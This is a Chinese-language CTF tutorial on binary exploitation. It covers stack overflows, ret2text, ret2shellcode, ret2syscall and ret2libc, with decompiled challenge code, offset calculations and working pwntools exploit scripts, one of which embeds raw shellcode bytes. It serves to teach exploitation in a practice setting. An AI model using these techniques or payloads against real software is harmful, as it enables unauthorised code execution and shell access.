具體原理參考:ctf-wiki
測試文件:點擊下載
棧溢出
原理
棧溢出的基本前提是
- 程序必須向棧上寫入數據。
- 寫入的數據大小沒有被良好地控制。
例題
源碼:
#include <stdio.h> #include <string.h> void success() { puts("You hack me."); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; }
命令:
gcc -m32 -fno-stack-protector -no-pie test.c -o test1
-m32:編譯為32位文件
-fno-stack-protector:關閉堆棧溢出保護
-no-pie:關閉地址隨機化
環境
如果提示:/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: 沒有那個文件或目錄
下載支撐文件:sudo apt-get install gcc-multilib g+±multilib module-assistant
分析
檢測文件:
需要了解在32位程序中,調用函數的過程:
函數返回地址入棧->EBP入棧->局部變量入棧(esp為局部變量申請的一段棧空間)
我們需要將局部變量空間溢出,占用EBP空間,修改返回地址為success函數地址
s為[ebp-14h],距離棧頂0x14字節
success_addr = 0x08049172
因此修改的payload=距離EBP大小+EBP大小+success地址
exp
from pwn import * p = process('./test1') success_addr=0x08049172 payload = 'a'*0x14 +'bbbb'+p32(success_addr) print p32(success_addr) p.sendline(payload) p.interactive()
常見存在棧溢出函數:
- 輸入
- gets,直接讀取一行,忽略’\x00’
- scanf
- vscanf
- 輸出
- sprintf
- 字符串
- strcpy,字符串復制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
ROP
介紹
ROP 攻擊一般得滿足如下條件
- 程序存在溢出,並且可以控制返回地址。
- 可以找到滿足條件的 gadgets 以及相應 gadgets 的地址。
ret2text
ret2text 即控制程序執行程序本身已有的的代碼 (.text)。這時,我們需要知道對應返回的代碼的位置。
1.准備
保護機制
2.IDA查看源碼
在主函數中調用了gets,因此我們可以利用s的地址,ebp-add(s)+size(ebp)計算出填充大小。
在secure函數發現執行了系統命令"/bin/sh",因此我們能夠通過修改主函數返回地址為調用"/bin/sh"指令地址0x0804863a,來獲取系統shell(權限)
3.計算填充大小
因為s的值是通過esp來索引,因此我們首先需要獲取esp的值,在gets函數處下斷點。
esp=0xffffcf80
addr(s)=esp+0x1C
ebp=0xffffd008
因此填充字符串payload = ‘a’*(ebp-(esp+0x1C)+4)+p32(0x0804863a)
0xffffd008 - 0xffffcf80 - 0x1C + 4 = 112
4.exp
from pwn import * p = process('./ret2text') addr = 0x0804863a payload = 'a'*102+p32(addr) p.sendline(payload) p.interactive()
ret2shellcode
ret2shellcode,即控制程序執行 shellcode 代碼。
1.檢測
32位文件,可以對棧中數據讀寫,執行代碼。
2.代碼分析
IDA打開:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }
有gets函數,可以利用棧溢出,這里將獲得的字符串復制到了buf2中。查看buf2
bbs段即存儲未初始化的靜態變量和全局變量(記錄變量所需空間大小)
介紹:bbs段的理解
查看這個段是否有執行shellcode命令的權限
rwxp是可讀寫的(r-xp可讀)
因此我們能夠利用gets溢出s修改函數返回地址到buf2
計算填充大小:在gets下斷點后,運行
eax 0x20 0x20 ecx 0xf7fad010 0xf7fad010 edx 0x20 0x20 ebx 0x0 0x0 esp 0xffffcf70 0xffffcf70 ebp 0xffffcff8 0xffffcff8 esi 0xf7fab000 0xf7fab000 edi 0xf7fab000 0xf7fab000 eip 0x804858c 0x804858c <main+95> eflags 0x246 [ PF ZF IF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63
0xffffcff8 - 0xffffcf70 - 0x1C + 4 = 112
3.exp
from pwn import * p = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) addr_buf2 = 0x0804A080 p.sendline(shellcode.ljust(112,'a')+p32(addr_buf2)) p.interactive()
sniperoj-pwn100-shellcode-x86-64
1.准備
獲取信息:
- 64位文件
- 只開啟了地址隨機化
2.代碼分析
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 buf; // [rsp+0h] [rbp-10h] __int64 v5; // [rsp+8h] [rbp-8h] buf = 0LL; v5 = 0LL; setvbuf(_bss_start, 0LL, 1, 0LL); puts("Welcome to Sniperoj!"); printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL); puts("Now give me your answer : "); read(0, &buf, 0x40uLL); return 0; }
因此我們能夠使用read來進行棧溢出,因為代碼中已經動態的輸出了buf的地址,因此隨機化地址就沒有作用了。
在buf處下斷點,確定距離返回地址的距離
因為buf為[esp+0h],因此到EIP的字節數為EBP - ESP + size(EBP) = 0x7fffffffde20 - 0x7fffffffde10 + 8 = 24
之前使用的shellcraft.sh()生成的shellcode有44字節,在這里只有24字節,因此並不適用,需要我們到 https://www.exploit-db.com/shellcodes 或者 http://shell-storm.org/shellcode/ 查詢構造相應的shellcode,例如查到
因為leave指令會釋放棧空間,因此我們不能使用buf后面的24字節。
3.exp
# -*- coding:utf-8 -*-
from pwn import * shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"# 23字節的shellcode p = process('./sniperoj-pwn100-shellcode-x86-64') p.recvuntil('[') buf_addr = p.recvuntil(']',drop=True)# 獲取buf的地址 print int(buf_addr,16) fillw_addr = int(buf_addr,16) + 24 + 8# 指向shellcode的地址 p.sendline(24*'a'+p64(fillw_addr)+shellcode) p.interactive()
ret2syscall
ret2syscall,即控制程序執行系統調用,獲取 shell。常用是執行execve("/bin/sh",NULL,NULL)
1.檢測
獲取到信息:
- 32位文件
- 開啟了NX
這道題我們就不能執行shellcode了。使用IDA查看源碼。
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
2.分析
很明顯,我們能夠利用gets進行棧溢出,利用gdb計算出需要填充的字節數為:0xffffd028 - 0xffffcfa0 - 0x1c + 4 = 112
其次,我們需要程序去調用execve("/bin/sh",NULL,NULL),即使得
- eax=系統調用號
- ebx="/bin/sh"的地址
- ecx=0
- edx=0
再執行int 0x80中斷就能運行對應系統調用。
系統調用號:https://www.cnblogs.com/Mayfly-nymph/p/12243003.html
execve的系統調用號為:11
接着,我們需要找到對應的gadgets來將對應參數放入寄存器中,因為參數是在棧中,因此我們需要pop指令來給寄存器賦(先將pop指令存入棧中,再將對應參數壓入棧中,這樣pop指令將會把高地址參數存入寄存器中)。
pop eax
使用 0x080bb196 : pop eax ; ret
pop ebx;pop ecx;pop edx
選擇 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
"/bin/sh"
0x080be408 : /bin/sh
int 0x80
0x08049421 : int 0x80
3.exp
from pwn import * p = process('./rop') eax_ret = 0x080bb196 edx_ecx_ebx_ret = 0x0806eb90 bin_sh = 0x080be408 int_0x80 = 0x08049421 payload = flat(['a'*112,eax_ret,0xb,edx_ecx_ebx_ret,0,0,bin_sh,int_0x80]) p.sendline(payload) p.interactive()
pop 指令將會把高地址參數存入指定寄存器。ret指令執行下一條指令。
ret2libc
ret2libc 即控制函數的執行 libc 中的函數,通常是返回至某個函數的 plt 處或者函數的具體位置 (即函數對應的 got 表項的內容)。一般情況下,我們會選擇執行 system("/bin/sh")
ret2libc1
1.檢查
獲取信息:
- 32位文件
- 開啟NX
IDA查看源碼
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; }
2.分析
依舊利用gets進行棧溢出,和上道相似,修改EIP為system("/bin/sh")的地址
首先利用gdb計算填充字節大小:0xffffd008-0xffffcf80-0x1c+4
接着,查找system("/bin/sh")的地址
在IDA找到程序的system函數地址
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
3.exp
from pwn import * p = process('./ret2libc1') bin_sh = 0x8048720 sys_addr = 0x8048460 payload = flat(['a'*112,sys_addr,'b'*4,bin_sh]) p.sendline(payload) p.interactive()
正常調用system函數有返回值,將'b'*4作為返回值
ret2libc2
1.檢查
獲取信息:
- 32位文件
- NX開啟
IDA打開
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("Something surprise here, but I don't think it will work."); printf("What do you think ?"); gets(&s); return 0; }
2.分析
可以利用gets進行棧溢出,還是先利用GDB計算一下填充字節數:0xffffd008 - 0xffffcf80 - 0x1c + 4 = 112
程序中不存在"/bin/sh",但找到了system函數和gets函數
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _gets. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048490 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
因此需要我們自己輸入'/bin/sh',程序中沒有eax,我們就用ebx來傳遞參數
0x0804843d : pop ebx ; ret
3.exp
from pwn import * p = process('./ret2libc2') plt_gets = 0x8048460 plt_sys = 0x8048490 buf2_addr = 0x804a080 pop_ebx_addr = 0x804843d payload = flat(['a'*112,plt_gets,pop_ebx_addr,buf2_addr,plt_sys,'b'*4,buf2_addr]) p.sendline(payload) p.sendline('/bin/sh') p.interactive()